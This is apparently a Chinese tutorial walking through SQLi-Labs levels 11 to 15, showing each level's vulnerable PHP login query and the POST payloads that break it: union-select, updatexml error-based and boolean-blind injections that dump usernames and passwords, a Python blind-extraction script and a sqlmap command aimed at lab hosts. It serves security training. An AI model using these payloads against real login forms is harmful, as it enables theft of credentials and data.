君衍.
- [一、十一关 基于POST单引号字符型注入](#一、十一关 基于POST单引号字符型注入)
- [二、十二关 基于POST双引号字符型注入](#二、十二关 基于POST双引号字符型注入)
- [三、十三关 基于POST单引号报错注入变形](#三、十三关 基于POST单引号报错注入变形)
- [四、十四关 基于POST双引号报错注入](#四、十四关 基于POST双引号报错注入)
- [五、十五关 基于POST单引号布尔型时间盲注](#五、十五关 基于POST单引号布尔型时间盲注)
点击跳转:
SQL-Labs靶场"1-5"关通关教程
SQL-Labs靶场"6-10"关通关教程
一、十一关 基于POST单引号字符型注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username='x' |
看见输入框了,说明该注入提交方式为POST,同时我们先寻找注入点:
在输入框中输入单引号:
我们可以看到产生了报错信息显示,说明这里我们自然可以使用报错注入以及联合查询。
1、源码分析
bash
# 使用POST方式接受变量
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
···
# 使用单引号进行拼接SQL
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
···
//echo " You Have successfully logged in\n\n " ;
···
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
···
echo '<img src="../images/flag.jpg" />';
}
else
{
···
//echo "Try again looser";
# 输出报错信息
print_r(mysqli_error($con1));
···
echo '<img src="../images/slap.jpg" />';
···
}
}
我们可以看到只是将提交方式变为了POST,实际上和第一关GET提交方式的实质大差不差,所以这里我们可以使用联合查询,报错,布尔(显示的界面不同),延时注入方式。
2、联合查询注入
1、猜字段
首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:
bash
aaaa' order by 3#
aaaa
上面这个是username与password分别填写的,这里我们没有使用--+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
可以看到显示第三列不存在,所以我们接着尝试将3变为2:
bash
aaaa' order by 2#
aaaa
可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。
2、直接查数据
下面我们直接构建payload进行查数据:
bash
aaaa' union select group_concat(username,password),2 from users#
aaaa
我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:
bash
aaaa
aaaa' union select group_concat(username,password),2 from users#
3、报错注入
上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):
bash
aaaa' and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa
数据库的表名:
bash
aaaa' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa
然后看users可疑查users的列名:
bash
aaaa' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa
接着看见username以及password继续查数据:
bash
aaaa' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa
我们可以看到又是字符输出限制,所以我们搞个limit即可:
bash
aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa
接着我们变值就结束了:
bash
aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa
剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。
二、十二关 基于POST双引号字符型注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username=("x") |
这里注入点判断的方法和第十一关是一样的。
1、源码分析
bash
···# 与第十一关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十一关相同
这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十二关采用双引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为双引号加括号就行。
2、联合查询注入
1、猜字段
首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:
bash
aaaa") order by 3#
aaaa
上面这个是username与password分别填写的,这里我们没有使用--+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
可以看到显示第三列不存在,所以我们接着尝试将3变为2:
bash
aaaa") order by 2#
aaaa
可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。
2、直接查数据
下面我们直接构建payload进行查数据(下面只展示username
就行,password不填了,懒得填反正都注释掉了):
bash
aaaa") union select group_concat(username,password),2 from users#
我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:
bash
aaaa
aaaa") union select group_concat(username,password),2 from users#
3、报错注入
上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):
bash
aaaa") and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa
数据库的表名:
bash
aaaa") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa
然后看users可疑查users的列名:
bash
aaaa") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa
接着看见username以及password继续查数据:
bash
aaaa") and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa
我们可以看到又是字符输出限制,所以我们搞个limit即可:
bash
aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa
接着我们变值就结束了:
bash
aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa
剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。
三、十三关 基于POST单引号报错注入变形
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | username=('x') |
首先我们判断是否有报错信息回显,可以看到有报错信息回显,下面我们正常进行闭合登录可以发现并没有输出登录信息:
所以这里联合查询是无法使用。
1、源码分析
bash
···# 与第十一关相同
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
···
//echo " You Have successfully logged in " ;
//echo 'Your Login name:'. $row['username'];
//echo 'Your Password:' .$row['password'];
//echo "<br>";
···
echo '<img src="../images/flag.jpg" />';
}
else
{
···
//echo "Try again looser";
print_r(mysqli_error($con1));
···
echo '<img src="../images/slap.jpg" />';
}
这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十三关采用单引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为单引号加括号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
2、报错注入
上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):
bash
aaaa') and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa
数据库的表名:
bash
aaaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa
然后看users可疑查users的列名:
bash
aaaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa
接着看见username以及password继续查数据:
bash
aaaa') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa
我们可以看到又是字符输出限制,所以我们搞个limit即可:
bash
aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa
接着我们变值就结束了:
bash
aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa
剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。
四、十四关 基于POST双引号报错注入
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | username="x" |
这里注入点判断和第十三关相同,只是在判断是改为aaaa"罢了。
1、源码分析
bash
···# 与第十三关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十三关相同
这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十四关采用双引号闭合。所以之后我们进行的注入过程是将第十一关的单引号换为双引号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
2、报错注入
上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):
bash
aaaa" and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa
数据库的表名:
bash
aaaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa
然后看users可疑查users的列名:
bash
aaaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa
接着看见username以及password继续查数据:
bash
aaaa" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa
我们可以看到又是字符输出限制,所以我们搞个limit即可:
bash
aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa
接着我们变值就结束了:
bash
aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa
剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。
五、十五关 基于POST单引号布尔型时间盲注
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 布尔盲注、延时盲注 | username='x' |
当然,首先我们查找注入点:
设置username=aaaa':
我们发现并没有产生报错,接着我们逃逸让其登录成功:
我们可以看到界面是不一样的,所以这里指定可以进行布尔盲注以及时间盲注。
1、源码分析
bash
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
···
//echo " You Have successfully logged in\n\n " ;
···
//echo 'Your Login name:'. $row['username'];
//echo 'Your Password:' .$row['password'];
···
echo '<img src="../images/flag.jpg" />';
}
else
{
···
//echo "Try again looser";
//print_r(mysqli_error($con1));
···
echo '<img src="../images/slap.jpg" />';
···
}
这里我们可以看到它是将所有报错信息以及登录成功的信息注释掉了,但是依旧可以看到img标签的图片加载时不同的,如果登录成功,那么图片为flag.jpg如果登录失败那么图片为slap.jpg,所以这个可以作为我们的切入点。
2、布尔盲注(手动)
下面我们构建payload进行比较数据库名的第一个字符的ascii值:
bash
admin1' and ascii(substr(database(),1,1))>100#
这里我们可以看到返回的是登录成功,所以说明第一个字符的ascii值是大于100的,接着我们让其大于120:
bash
admin1' and ascii(substr(database(),1,1))>120#
我们可以看到返回登录失败的图片,所以我们可以以此进行判断数据库名,手动一个一个去尝试。
2、布尔盲注(脚本)
相较于手动,脚本当然是非常有效率,但是对于脚本还得有一定的功底,下面我门来编写Python脚本:
python
def inject_database(url):
name = ''
for i in range(1, 20):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
data = {
"uname" : "admin1' and ascii(substr(database(),%d,1))>%d#" % (i, mid),
"passwd" : 'aaaaa'
}
r = requests.post(url, data=data)
if 'flag.jpg' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32:
break
name += chr(mid)
print(name)
if __name__ == "__main__":
url = 'http://127.0.0.1/sqli7/Less-15/index.php'
inject_database(url)
也是我们经常强调的,URL必须填写正确,然后执行:
便可完成注入,接着注入数据时,更换payload即可。
3、时间盲注(sqlmap)
下面我们依然是直接加上参数进行注入:
bash
sqlmap -u "http://192.168.1.11/sqli7/Less-15/index.php" -data "uname=admin&passwd=admin&submit=Submit" --batch --threads 10 --technique T --dbs
可能会用到以下参数:
- -r 读取抓包文件
- -p 需要检测的参数
- --technique 需要检测的注入方式
- E 基于报错的注入
- S 通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入
- --batch 默认选择
- --threads 线程数
- -data 传入post参数(免去抓包)
紧接着我们执行之后:
它就可以自行完成时间盲注,同时加载出注入的数据,十五关至此通关。